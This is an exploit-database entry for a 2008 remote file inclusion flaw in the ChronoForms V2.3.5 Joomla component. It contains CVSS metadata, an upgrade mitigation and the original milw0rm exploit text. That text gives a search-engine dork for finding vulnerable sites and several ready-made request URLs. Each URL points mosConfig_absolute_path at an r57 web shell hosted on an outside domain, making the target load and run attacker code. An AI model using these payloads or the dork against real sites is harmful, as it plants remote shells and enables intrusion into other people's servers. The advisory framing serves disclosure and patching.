CHRONOFORMS version V2.3.5 Remote File Include Vulnerability

vendor:

ChronoForms

by:

Crackers_Child

7.5

CVSS

HIGH

Remote File Include

CWE

Product Name: ChronoForms

Affected Version From: V2.3.5

Affected Version To: V2.3.5

Patch Exists: Yes

Related CWE: N/A

CPE: a:chronoengine:chronoforms

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

CHRONOFORMS version V2.3.5 Remote File Include Vulnerability

A vulnerability in CHRONOFORMS version V2.3.5 allows an attacker to include a remote file via the mosConfig_absolute_path parameter in the following files: /administrator/components/com_chronocontact/excelwriter/Writer.php, /administrator/components/com_chronocontact/excelwriter/PPS.php, /administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php, /administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php, /administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php, /administrator/components/com_chronocontact/excelwriter/Writer/Format.php, and /administrator/components/com_chronocontact/excelwriter/Writer/Parser.php.

Mitigation:

Upgrade to the latest version of CHRONOFORMS (V2.3.7)

Source

Exploit-DB raw data:

+______________________________________________By Crackers_Child___________________________________________+

*
*
*    [~] Script.......:       CHRONOFORMS version V2.3.5
*    [~] Down.........:       http://www.joomlaos.de/option,com_remository/Itemid,41/func,startdown/id,2810.html
*    [~] Author.......:       Crackers_Child  | cybermilitan@hotmail.com & localexploit@hotmail.com
*    [~] Class........:       Remote File Ä°nclude Vulnerability
*    [~] Dork.........:       inurl:/com_chronocontact
*    [~] ForFix.........:     For Fix Your Script Download http://www.chronoengine.com/component/option,com_docman/task,cat_view/gid,27/ 2.3.7 Version
+_______________________________________________________________________________________________________________________+


+_______________________________________________________________________________________________________________________+
*
*
*    
*
*       [~] Exploit Rfi...:http://[Taget]/[Path]//administrator/components/com_chronocontact/excelwriter/PPS/File.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*
*           /administrator/components/com_chronocontact/excelwriter/Writer.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/PPS.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/BIFFwriter.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Workbook.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Worksheet.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*
*           /administrator/components/com_chronocontact/excelwriter/Writer/Format.php?mosConfig_absolute_path=http://www.sibersavascilar.com/shelz/r57.txt?
*                            
+_______________________________________________________________________________________________________________________+



        [~] Ä°nfo......: Kac Kere Ã¶lDunuz ki " Olum Den Korkmuyorum Ben " Diyebiliyorsunuz . . .
                     



+_______________________________________________________________________________________________________________________+

+_______________________________________________________________________________________________________________________+
*
*
*       [~] Special Thanx.......:    str0ke, SiberSavascilar.com , (Cyber-Crime) , BiyoFrm.Com
*
+_______________________________________________________________________________________________________________________+

# milw0rm.com [2008-01-30]